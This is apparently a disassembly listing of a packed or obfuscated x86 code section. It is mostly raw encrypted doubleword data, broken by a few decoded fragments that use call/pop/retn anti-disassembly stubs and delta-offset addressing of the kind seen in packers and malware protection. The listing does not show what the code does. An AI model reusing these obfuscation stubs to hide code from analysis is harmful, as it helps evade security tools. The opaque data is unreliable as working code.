2EFDB280h dd 9D8B5643h, 7E90191h, 6A006Ah, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1B0424h, 56460000h, 88D5BCC3h, 15606CD5h dd 3195FF5Ah, 6A07E90Ch, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 14042444h, 43000000h, 519BC353h, 81DAC781h dd 0B95B05B5h, 8A1h, 79F38166h, 0FCE1833Bh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 32C35343h, 0B86B47B2h dd 0E6CB80CCh, 4FB5BF66h, 0CACB81FCh, 2B3D8FCCh, 0B1F381C0h dd 2B14446Ah, 5DBF66D2h, 0C233AD63h, 0D003E8D1h, 7504E983h dd 56006AF4h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h dd 0C3564600h, 5C374A2h, 4EBBAC65h, 0D424BFBDh, 6A148Bh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h dd 85D34AC3h, 0DF98A26h, 88h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ah, 6DC35040h, 0CB23B46Ah, 0BD293B69h dd 7E90F75h, 320D958Bh, 6A07E9h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1A0424h, 50400000h, 797F46C3h, 79F41F6Eh dd 22E58D8Bh, 6A07E9h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 150424h, 57470000h, 0F9E294C3h, 4860Fh, 0BB660000h dd 8B50B0CEh, 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h dd 0EE8h, 0C23E7000h, 0A704AAF5h, 7B9570F6h, 0E9C86428h dd 6, 0D122648Ah, 835F1115h, 0E91C2DBDh, 840F0007h, 54h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0C5C35242h dd 0B8h, 0BD8B5300h, 7E908F5h, 5A8D8D5Fh, 907E94Dh, 0E90C9185h dd 13E907h, 0D5840000h, 0BD181080h, 39CD7813h, 67A3BA6Bh dd 6BAB2107h, 66E1FF7Ch, 0A996F781h, 22B1BD83h, 0F0007E9h dd 44784h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1904h, 0C3504000h, 0D4C7076Dh, 0F98B10FDh, 22B1BD83h dd 0F0107E9h, 43284h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1D04h, 0C3564600h, 0A159B7F3h, 0D2D8217h dd 8B56AE52h, 0E913899Dh, 0BD835F07h, 7E922B1h, 0C2860F03h dd 6A000003h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 14042444h, 47000000h, 60B4C357h, 0E2B182B9h, 398D8B66h dd 6107E92Ch, 0EE8h, 6C96900h, 68AF9117h, 21AF0083h, 8995E0C3h dd 0E923E185h, 8B605F07h, 0E923719Dh, 0D98C6607h, 0D3C737BBh dd 4E1802Ah, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 15h, 8BC35545h, 37BF5044h, 5F5D2315h, 7D858960h, 6607E913h dd 7AF2F681h, 0FC90A61h, 11984h, 0A1958900h, 8B07E923h dd 0E90C5585h, 5E907h, 4FF10000h, 339CC92Fh, 0E91CE985h dd 50006A07h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h dd 0C3504000h, 3D08260Ch, 8FB3E071h, 319D8B56h, 6607E903h dd 0DF37F781h, 3800Fh, 0CB800000h, 0BB669083h, 0E8501337h dd 11h, 0D39F0C07h, 0D078A008h, 163F6C3Ah, 2EB997D7h, 58B0FC7h dd 0BB000000h, 4187F5A7h, 8E0F905Bh, 6, 1DF9BD89h, 0BD8B07E9h dd 7E92AC5h, 0E380006Ah, 73316848h, 8E91F08h, 0E6000000h dd 0B6D62682h, 8191082Ah, 70CE2434h, 6A1F17h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 140424h, 52420000h, 13E812C3h dd 0D2000000h, 82FDFEDFh, 0A27D100Bh, 0DECB72FFh, 0BDC82CC5h dd 5BF52F43h, 2D995FFh, 6A07E9h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 180424h, 52420000h, 611314C3h, 8589F060h dd 7ECD785h, 0FEB8166h, 175E945h, 858B0000h, 7ECD77Dh dd 0AE9h, 5ED4D200h, 608722CAh, 811ACAA6h, 0BB2267D3h dd 1800C740h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 18042444h, 46000000h, 202FC356h, 8BEF4897h dd 0ECD781B5h, 75BD8907h, 0F07E923h, 858BD9BFh, 7E91859h dd 6800Fh, 0BD8B0000h, 7E90141h, 6A0689h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 150424h, 56460000h, 66E03DC3h dd 94AED381h, 0C059D33h, 858B07E9h, 7E90C55h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 91C35747h, 6B980CF2h dd 0BBB7BC6Bh, 335BD8Bh, 468907E9h, 50006A04h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1A04h, 0C3504000h, 434BDC92h dd 9678F75Dh, 60525050h, 0B5E8B966h, 50310F61h, 0B806BF52h dd 310F67DAh, 0AE9h, 0E7521C00h, 6E57458Dh, 5AA3A12Dh dd 96585A58h, 0D77DB5FFh, 9D8B07ECh, 7E92A21h, 7D605168h dd 240481E3h, 1CA1A3AEh, 0ED19D29h, 858D07E9h, 7ECD785h dd 6E9h, 68387900h, 893F0E72h, 0E92EB99Dh, 0BB665007h dd 489EBC9h, 56006A24h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1604h, 0C3564600h, 293429E2h, 0E908158Dh, 0D995FF07h dd 6607E902h, 6118DABFh, 38C0Fh, 8B660000h, 0B185C7FAh dd 307E922h, 6A000000h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 15042444h, 41000000h, 0A9CFC351h, 6E9h, 0DABA5000h dd 509C4440h, 1191BD89h, 835B07E9h, 0ECD785BDh, 840F0007h dd 55h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh dd 36C35141h, 0F8A0882Ah, 0E3EBAA02h, 46E9FFh, 6A0000h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h dd 134694C3h, 772B0B9Bh, 89C2CEB9h, 0E91D7195h, 0C305007h dd 11440011h, 10E8C101h, 2114430h, 3114C00h, 4E98358h dd 36EBE775h, 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h dd 7504E983h, 501BEBE7h, 2810E8C1h, 30031164h, 58021144h dd 1116428h, 83110430h, 0E77504E9h, 0C08B00EBh, 1BE98D29h dd 8B6607E9h, 57006AF8h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1B04h, 0C3574700h, 7AEB82Dh, 2F4BE88Eh, 0BD8317B3h dd 7E922B1h, 35850F03h, 6A000003h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 17042444h, 40000000h, 37F4C350h dd 0BF0F60D3h, 85BD83D8h, 7ECD7h, 306840Fh, 9D890000h dd 7E91325h, 0D785B5FFh, 858907ECh, 7E902D5h, 134995FFh dd 0BD0307E9h, 7E920EDh, 0D779B58Bh, 6A07ECh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 1EC72C3h dd 0FD8765EEh, 39F9BB52h, 0C75B21C0h, 1000106h, 9642B300h dd 0C68A6050h, 6A9661h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 180424h, 53430000h, 4349AFC3h, 852963DBh, 7E921FDh dd 0D785B5FFh, 6A07ECh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1B0424h, 56460000h, 0AB5911C3h, 90B7E403h, 0FEB70F38h dd 1AB195FFh, 0B58B07E9h, 7ECD779h, 11659D01h, 858B07E9h dd 7E92449h, 830F52h, 5B000000h, 0C48689h, 0DF810000h dd 53207602h, 320D958Bh, 0FA8B07E9h, 8B04C283h, 205089FAh dd 0AE8h, 11E32500h, 0CA10C71h, 8BC293F1h, 0E92A399Dh dd 858D5F07h, 7ECECA1h, 8E8h, 5117C600h, 5ACEF06h, 0AD8529C8h dd 5F07E934h, 0B88689h, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 190424h, 52420000h, 0B1C71AC3h, 6AA11173h dd 0FF5F5600h, 0ECD785B5h, 11E95007h, 0EC000000h, 61148EBBh dd 0DF54A3h, 0D21441EBh, 24B00EFDh, 0B99D0B5Fh, 0FF07E92Eh dd 0E902CD95h, 0DDC3BB07h, 60503094h, 870Fh, 0DF8B0000h dd 24348961h, 1D88B60h, 0E919E995h, 0B5FF6107h, 7ECD785h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0F7C35242h dd 8CE43A18h, 70318574h, 2D95FF86h, 6007E930h, 61C7B70Fh dd 1EC9BD83h, 0F0007E9h, 4584h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1704h, 0C3564600h, 342C22Dh, 5013B396h dd 0D667E1BFh, 10E8963Dh, 77000000h, 0DF31FA99h, 3969E907h dd 2F0BCF0Fh, 3834F15h, 0E919A19Dh, 0B5FF5B07h, 7ECD785h dd 19E99D31h, 95FF07E9h, 7E91F9Dh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ah, 58C35343h, 8410BC4Eh, 0B5FF3407h dd 7ECD785h, 20870Fh, 14E80000h, 0B8000000h, 0DF0FC9F0h dd 8017BF15h, 42AD17C2h, 9F2272F4h, 899378A9h, 0E934699Dh dd 95FF5F07h, 7E90139h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 15h, 8C35242h, 0F781665Eh, 83F94D83h, 0E929CDBDh dd 840F0207h, 4Ch, 75858BF9h, 6A07E908h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 0CFB3C357h dd 818589EFh, 0C607E92Bh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 160424h, 53430000h, 73FD89C3h, 24AD85C7h dd 7E9h, 85890000h, 7E90801h, 0FFF4CDE9h, 56006AFFh, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h dd 58D2708h, 0DCADA1CFh, 999D334Ch, 107E921h, 0E9000D8Dh dd 66C18B07h, 8DAF63BFh, 0E9086185h, 0CF806007h, 0C99D297Ah dd 6107E920h, 8E890h, 20EC0000h, 4D9DA96Ah, 8B6605DBh dd 0BB505FF8h, 5DFD1A3h, 52006A90h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1C04h, 0C3524200h, 0C38DDB3h, 0CA4D325Eh dd 0B589527Fh, 7E92A5Dh, 6A006A5Bh, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1B042444h, 40000000h, 0AE85C350h dd 3A5E444Ah, 12E92AEAh, 1E000000h, 928AFFAAh, 0EF6BEC7Ch dd 9AFEF23Bh, 0FCD08AB5h, 6A006A95h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 3A43C351h dd 0E821409Dh, 0Ah, 6C6AB5FAh, 1C4898Fh, 665BC796h, 0B3A1C7BBh dd 0F9858DCEh, 6A07EDBDh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 17042444h, 41000000h, 3FBAC351h, 6E85B54h dd 84000000h, 0E8DE6406h, 42D780BBh, 0CECB805Bh, 6605C083h dd 0E990DA8Bh, 0Dh, 0C61873E2h, 0F0F798Eh, 3C36D145h, 525050C9h dd 8ABF5250h, 0F1FF05Ch, 0F525031h, 5A585A31h, 0F310F58h dd 83h, 90585A00h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 16h, 2C35141h, 6A5C02h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ah, 55C35040h, 5750146Fh, 9E87353h dd 63000000h, 0E62BCC50h, 302468FAh, 6A5BDE8Bh, 14E900h dd 0E0900000h, 0C924DF98h, 0E212510Bh, 19569035h, 0EDDE2359h dd 95FF2F1Bh, 7E90FB9h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 16h, 88C35242h, 0D88BC9D2h, 29999D29h, 8D8D07E9h dd 7ECD72Ch, 1FA19D89h, 0D1FF07E9h, 0EBEF31BFh, 69BD833Ch dd 107E91Bh, 85850Fh, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1C0424h, 50400000h, 0FA6C87C3h, 691EEA96h dd 0B5297A90h, 7E9137Dh, 6A026Ah, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 180424h, 57470000h, 2F6E49C3h, 0B70F56BEh dd 0F38166FEh, 6690D62Eh, 6050FB8Bh, 0E860DD8Ah, 14h, 71D021Dh dd 67835DB7h, 2C2AB227h, 0A8BDB7E7h, 43FAE3B8h, 46BE665Eh dd 906161E3h, 2CD95FFh, 0E9F907E9h, 0CE5h, 0E8h, 0ED815D00h dd 7EDBE03h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Ch, 5CC35040h, 79223CA1h, 6E9B88EBh, 0A1EF8166h, 53006AA3h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h dd 0C3C0CD89h, 6830F71h, 89000000h, 0E922F18Dh, 0DB816607h dd 858D0539h, 7ECB406h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Bh, 0C0C35545h, 8C06DCDFh, 0E909A99Eh, 12h dd 564A3036h, 0DACDAB13h, 0F05E5A39h, 22CFB0FFh, 9D8B921Ah dd 7E91255h, 880F50h, 89000000h, 6A2404h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 170424h, 52420000h, 25079C3h dd 0A498BB92h, 0FF6414D4h, 35h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 2BE079A9h dd 64FAAB2Ah, 2589h, 8E0F0000h, 0 ; --------------------------------------------------------------------------- inc dword ptr [ebp+7E90F9Dh] push 0 push ebp call sub_5CFCD9 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CFCD9 proc near ; CODE XREF: sdfs____:005CFCD1p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Ah inc ebp push ebp retn sub_5CFCD9 endp ; --------------------------------------------------------------------------- db 34h, 66h, 8Fh dd 37E98D63h, 31F5BD89h, 0BD8B07E9h, 7E91B21h, 6AFF6Ah dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h dd 0B5FF17C3h, 7E91E05h, 0BADB501h, 95FF07E9h, 7E9233Dh dd 107E9h, 0BE900h, 9410000h, 4AD2DB64h, 3FE4CBF0h, 8000B0DEh dd 70E669D3h, 0CB19531h, 71E407E9h, 15E5BD29h, 613C07E9h dd 0DA830Fh, 0B5290000h, 7E90119h, 0B60FD98Bh, 11E9C8h dd 1E010000h, 5721FB76h, 7BD01F2Ah, 0C9E027C5h, 0BAE6B91Fh dd 6, 0B5E626BBh, 66C18B5Fh, 0C1DE0ABFh, 9D8B04E8h, 7E921FDh dd 89E2F766h, 0E92ACDB5h, 0E9C82B07h, 0Dh, 0E31C44C0h dd 8A82A2BEh, 0C3322CA7h, 66D18BEBh, 0E99FC3BBh, 3, 8BDFBF0Fh dd 0E92DE185h, 835B5107h, 816607C0h, 83FAC4C7h, 850F00C0h dd 6, 2A4D9D8Bh, 0D03B07E9h, 26830Fh, 8B600000h, 0E91CEDB5h dd 13E907h, 25D80000h, 0BAEF8438h, 22B716DFh, 3702FFF2h dd 268AFB21h, 29E961AEh, 0F5000000h, 2FE18D8Bh, 850F07E9h dd 0 ; --------------------------------------------------------------------------- and ecx, 1 jz loc_5CFE38 and dword ptr [ebp+7E92FE1h], 0FFFFFFFEh mov [ebp+7E92DE1h], edx cmc jmp $+5 loc_5CFE38: ; CODE XREF: sdfs____:005CFE1Fj lea esi, [ebp+7ED28B7h] push 0 push ebp call sub_5CFE49 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CFE49 proc near ; CODE XREF: sdfs____:005CFE41p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Ah inc ebp push ebp retn sub_5CFE49 endp ; --------------------------------------------------------------------------- db 85h, 5Dh, 59h dd 4CC1E0AFh, 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 190424h, 56460000h, 19F4AC3h, 0FFA017DFh, 0E90C3195h dd 53006A07h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h dd 0C3534300h, 23395576h, 7DEB97Eh, 0BD8B0000h, 7E91DEDh dd 29FCE183h, 0E9127D85h, 6AFC07h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1B0424h, 51410000h, 0C9DE27C3h, 0CA433FDh dd 0A99D8BEAh, 0B807E90Ah, 0 ; --------------------------------------------------------------------------- push 0 push ecx call sub_5CFEF7 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CFEF7 proc near ; CODE XREF: sdfs____:005CFEEFp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Ah inc ecx push ecx retn sub_5CFEF7 endp ; --------------------------------------------------------------------------- db 0ABh dd 0A0759392h, 8BFCC1AFh, 0E91AA99Dh, 0BA07h, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h dd 8B663BC3h, 0C233ADF9h, 0D003E8D1h, 7504E983h, 0D8BF66F4h dd 880D4Ch, 0BF660000h, 958B242Eh, 7E9320Dh, 0F818589h dd 8D8B07E9h, 7E922E5h, 1D91BD8Bh, 8B5007E9h, 3188BC2h dd 8B188BC1h, 3E8D1C1h, 58188BC2h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 16h, 0C1C35141h, 0E86034B2h, 0Bh dd 40EF6AB6h, 0A1BE8043h, 66CB2C0Eh, 5F7719BAh, 0C5BD0B50h dd 5F07E925h, 6890F61h, 29000000h, 0E92E598Dh, 2DBD8307h dd 7E91Ch, 4C840Fh, 9D8B0000h, 7E91F99h, 0B8h, 29BF6600h dd 5A8D8DF7h, 0BB07E94Dh, 1E3A2F4Bh, 6AE1FFh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 4E134BC3h dd 742BEA45h, 0B529C4EAh, 7E90B61h, 1D75BD33h, 0BD8307E9h dd 7E922B1h, 5F840F00h, 0E9000003h, 6, 89E31D86h, 0BD83A5D0h dd 7E922B1h, 62840F01h, 83000003h, 0E922B1BDh, 860F0307h dd 31Fh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Ch, 5BC35040h, 0D82379Dh, 4F03D01h, 158DBD33h, 2BF07E9h dd 60426E18h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 18h, 0A6C35141h, 0E84DD8h, 80D98C66h, 6A04E1h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h dd 9ABB76C3h, 0BF29B488h, 64801ACEh, 840FC90Ah, 11Ah, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 62C35242h, 8BF98A61h dd 0E90C5585h, 51006A07h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1D04h, 0C3514100h, 20FA6E9Ah, 0EC7E4A68h dd 9D8B3B0Dh, 7E91B81h, 1CE98533h, 958907E9h, 7E91A0Dh dd 50D88B66h, 0EE9h, 0F67D7C00h, 1246B5AEh, 0B8E2E731h dd 899AECFDh, 6A2404h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1C0424h, 52420000h, 9E551DC3h, 189BE230h, 0D88BA65Eh dd 5368006Ah, 56A09EEEh, 0B422F0BFh, 4815B64h, 8015AC24h dd 0BE95Fh, 37740000h, 7AAF5353h, 208AA5B8h, 0D995FF58h dd 6A07E902h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 14042444h, 43000000h, 8922C353h, 0ECD78585h, 51006A07h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h dd 0E081047Ch, 6830FE3h, 1000000h, 0E91359B5h, 122E907h dd 858B0000h, 7ECD77Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Ch, 33C35242h, 77318233h, 0D9C197EFh, 21C9BD31h dd 0C707E9h, 18h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 16h, 7FC35646h, 88BF7093h, 8B4BFCB8h, 0ECD781B5h, 55006A07h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h dd 0C78166D3h, 858B41B0h, 7E91859h, 7531BF66h, 29B18589h dd 68907E9h, 18219D8Bh, 8BF507E9h, 0E90C5585h, 0DFBB6607h dd 446895Dh, 2139BD8Bh, 0E95007E9h, 0Dh, 0C2A6E843h, 4F350BCDh dd 0F83AB423h, 243489FCh, 2A5D9D8Bh, 0B5FF07E9h, 7ECD77Dh dd 82AC68FCh, 11BBA82Ah, 816BC4EBh, 81532404h, 6A57F4h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h dd 0FFA63FC3h, 269BD33h, 858D07E9h, 7ECD785h, 1271B589h dd 8B5007E9h, 240489F8h, 2D995FFh, 953107E9h, 7E90765h dd 0C7816661h, 85C7E5CBh, 7E922B1h, 3, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 18h, 0C3C35141h, 2879A163h, 18BDBD8Bh dd 0F55007E9h, 85BD835Fh, 7ECD7h, 19840Fh, 81660000h, 0E9884ACBh dd 2Ah, 6820Fh, 0BD230000h, 7E93219h, 50F98B66h, 110C30h dd 0C1011144h, 443010E8h, 4C000211h, 83580311h, 0E77504E9h dd 305036EBh, 64001104h, 0E8C10111h, 11443010h, 11640002h dd 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h dd 64285802h, 4300111h, 4E98311h, 0EBE775h, 6AC08Bh, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h dd 850FCEC3h, 6, 22ED9D23h, 0E5BB07E9h, 8308F9BFh, 0E922B1BDh dd 850F0307h, 48Ah, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 18h, 74C35545h, 970E9A21h, 0D785BD83h, 0F0007ECh dd 45D84h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1A04h, 0C3554500h, 8333C244h, 0E967DE1Dh, 0Fh, 0EF922FB2h dd 967240B8h, 0DAC97532h, 665F1B3Dh, 0FFFAB6BFh, 0ECD785B5h dd 56006A07h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h dd 0C3564600h, 9C4705Fh, 0E91F7DBDh, 0EFEBBB07h, 95FF3543h dd 7E91349h, 6BEF8166h, 79B58B84h, 6A07ECD7h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h dd 8966C356h, 0E92B2DB5h, 106C707h, 6A000100h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h dd 0EE66C355h, 0BDA29BFCh, 0B257DA5h, 14E950h, 739D0000h dd 6F7F8CBDh, 2EFAD41Eh, 0CBA4D002h, 0A5A7C958h, 3489A51Fh dd 39958924h, 0FF07E913h, 0ECD785B5h, 9701BF07h, 95FF3C97h dd 7E91AB1h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Ch, 0FAC35343h, 0A569CD28h, 0F26EC261h, 0D779B58Bh dd 6A07ECh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h dd 57470000h, 934341C3h, 0D7ADAAB4h, 1C35BD8Bh, 8B6607E9h dd 49858BDEh, 6A07E924h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1C042444h, 41000000h, 0F091C351h, 699AFA68h dd 8BB98074h, 0E92381BDh, 0C4868907h, 6A000000h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h dd 0BB4C355h, 0E9017D9Dh, 5DB53107h, 8B07E92Ah, 0E9320D95h dd 55006A07h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h dd 0C3554500h, 952937D0h, 7E90C59h, 6A04C283h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h dd 87FBC356h, 3E622A3h, 8C0F52F1h, 2, 895B6160h, 6A2050h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h dd 0A900ADC3h, 50E6710Bh, 49858969h, 8D07E902h, 0ECECA185h dd 799D8B07h, 8907E92Fh, 0B886h, 0E9006A00h, 9, 208045DCh dd 2782C1BEh, 14E967h, 0A7480000h, 8824407Ah, 73B6C16Ah dd 6763C9ACh, 8BB8647h, 0B5FFC3B8h, 7ECD785h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0EEC35343h, 3751D61Bh dd 0FF533126h, 0E902CD95h, 50006A07h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1604h, 0C3504000h, 33F4FE44h dd 0E92015BDh, 52505007h, 8E0F53h, 5B000000h, 8B66310Fh dd 89585AF8h, 0E3802434h, 85B5FF37h, 6A07ECD7h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1D042444h dd 42000000h, 0A9A5C352h, 0BAD331A6h, 0FDB7A77Bh, 0B7D8509h dd 9D8B07E9h, 7E924F1h, 302D95FFh, 852907E9h, 7E91885h dd 1EC9BD83h, 0F0007E9h, 5184h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 4C13B1E7h dd 62B365D2h, 0EEBB667Dh, 70BF96F6h, 506A7CD4h, 2AAEC8BFh dd 6A966Eh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h dd 56460000h, 0B5FF2AC3h, 7ECD785h, 0FFC4EF80h, 0E91F9D95h dd 0CE807h, 1B680000h, 1F0DA8D8h, 0CB883B5Dh, 5FF8B2DCh dd 0D785B5FFh, 6A07ECh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1D0424h, 53430000h, 8B96BDC3h, 98D1CF35h, 29E053F6h dd 0E92015BDh, 3995FF07h, 907E901h, 0E9119195h, 0CDBD8307h dd 207E929h, 42840Fh, 0FE90000h, 7B000000h, 7B0DAC17h dd 1E4E0A60h, 0AC5A3765h, 858BFB46h, 7E90875h, 11758D89h dd 0C607E9h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1504h, 0C3514100h, 0DE8B6DA0h, 24AD85C7h, 7E9h, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h dd 0FB35EFC3h, 43DC0ABEh, 5258443Ch, 3EFEBFh, 71E95F1Dh dd 23FFFFF4h, 0E90C91BDh, 60C18B07h, 1AD99D89h, 0B76107E9h dd 61858D98h, 8B07E908h, 0E92B71BDh, 66509007h, 5B2B93BFh dd 90FB8B50h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Ah, 0E3C35040h, 1E6A4F86h, 8B66A2E9h, 89006AD9h, 0E91BE995h dd 6A006A07h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1C042444h, 47000000h, 7AA0C357h, 750089B3h, 0F87DB51Fh dd 0CD20858Dh, 6A07EDh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1B0424h, 51410000h, 0AC56BDC3h, 0E085BD42h, 5C08347h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 20C35545h dd 0E88CB8ABh, 0CE9C9h, 0B0FB0000h, 433F3F8Bh, 6309A631h dd 0F90BE27h, 889h, 2830F00h, 8B000000h, 0F9050F9h, 1384h dd 0EE900h, 8B1B0000h, 5C339578h, 0FF42A668h, 0B64D66D2h dd 3555BD09h, 6A07E9h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 18h, 6C35343h, 0CB444D5Ch, 0C6C38166h, 0F006A50h dd 0C83h, 68D0F00h, 8B000000h, 0E901B99Dh, 0B995FF07h dd 6607E90Fh, 8DA76DBBh, 0ECD72C8Dh, 56006A07h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1604h, 0C3564600h, 0FFFC003Ah dd 56006AD1h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h dd 0C3564600h, 0A188E149h, 10E6B1B0h, 8D89238Eh, 7E91AD9h dd 1B69BD83h, 0F0107E9h, 0A185h, 25B58900h, 6A07E92Bh dd 53006A02h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h dd 0C3534300h, 40982B1Eh, 0BE912h, 9EB50000h, 93245990h dd 8A4C4B87h, 6EBB90C1h, 505786BEh, 1A830F50h, 0E8000000h dd 14h, 0CB8056B9h, 0BB4E91D4h, 0F810A070h, 205A4312h dd 3624B688h, 0F905B5Bh, 68Dh, 0B1E78100h, 0FF77ACF5h dd 0E902CD95h, 51006A07h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1504h, 0C3514100h, 0BE97AFBh, 2A000000h dd 0A50E58h, 0E7074D71h, 74E95AE8h, 0E800000Dh, 0 ; --------------------------------------------------------------------------- pop ebp sub ebp, 7EDCD2Ah push 0 push ecx call sub_5D0AF6 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D0AF6 proc near ; CODE XREF: sdfs____:005D0AEEp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Dh inc ecx push ecx retn sub_5D0AF6 endp ; --------------------------------------------------------------------------- dw 